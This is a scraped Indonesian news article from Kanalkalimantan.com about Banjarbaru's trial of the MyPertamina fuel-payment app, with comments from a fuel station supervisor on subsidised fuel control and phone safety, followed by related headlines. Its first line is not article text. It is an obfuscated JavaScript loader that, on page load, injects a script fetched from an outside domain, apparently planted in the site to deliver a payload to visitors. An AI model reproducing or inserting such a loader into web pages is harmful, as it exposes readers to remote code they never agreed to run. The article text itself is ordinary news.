(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi kota kedua setelah Banjarmasin yang akan menjadi tempat uji coba pemakaian aplikasi MyPertamina untuk pengguna kendaraan roda empat.
Lantas bagaimana kesiapan di Kota Banjarbaru, rupanya di Stasiun Pengisian Bahan Bakar Umum (SPBU) Coco Kota Banjarbaru sudah menerapkan aplikasi MyPertamina lebih dulu. Hal ini diungkapkan Mahdi selaku pengawas SPBU Coco Kota Banjarbaru.
“Jauh sebelum diwajibkan, di SPBU Coco ini sudah memakai MyPertamina terlebih dahulu, kurang lebih 5 tahun,” ungkapnya, Senin (18/7/2022).
Mahdi mengatakan, adanya aplikasi My Pertamina tersebut bertujuan untuk keamanan. Selain mempermudah transaksi karena tidak perlu bawa uang cash, tujuannya juga untuk mengontrol dan memastikan penyaluran BBM bersubsidi seperti Pertalite dan Bio Solar tepat sasaran dan tepat kuota.
Baca juga: Diduga Tilep Dana Proyek Jalan di Desa, Kades di Kusan Hilir Jadi Tersangka
Di SPBU Coco Banjarbaru sendiri untuk BBM bersubsidi hanya menyediakan Pertalite tidak dengan solar. Sementara, pendapatan yang didapat dalam transaksi My Pertamina di SPBU Coco Banjarbaru hampir 10-15 juta setiap harinya.
“Pembayaran ada yang cash dan non cash. Untuk non cash sendiri ada melalui m-bank, ada menggunakan aplikasi MyPertamina, linkaja, dan uang elektronik lainnya,” ucapnya.
Disinggung masalah penggunaan ponsel di area SPBU, Mahdi menyampaikan saat transaksi MyPertamina ataupun pembayaran elektronik lainnya tidak masalah, sebab konsumen tidak melakukan panggilan telepon.
“Sebenarnya ketika saat kita menelpon, ada listrik statis. Ponsel sendiri merupakan salah satu media penghasil listrik statis ataupun sumber panas, sehingga jika terjadi listrik statis atau panas berlebih dari handphone yang bertemu dengan uap bahan bakar saat pengisian, maka dapat memicu kebakaran. Memang jarang kejadian tapi kita harus siap. Kalau transaksi cuman barcode sebentar itu tidak masalah,” bebernya.
Meski Kota Banjarbaru belum mewajibkan penerapan MyPertamina, Mahdi menyampaikan kalau ada konsumen Banjarbaru ingin mendaftar atau membayar menggunakan aplikasi tersebut di SPBU Coco Banjarbaru pihaknya siap membantu dan siap melayani.
“Insyaallah SPBU Coco Banjarbaru sudah siap akan kebijakan penggunaan MyPertamina tersebut, pramuniaga kami juga siap membantu dan melayani konsumen apabila kebingungan dalam menggunakan aplikasi MyPertamina,” tuntasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.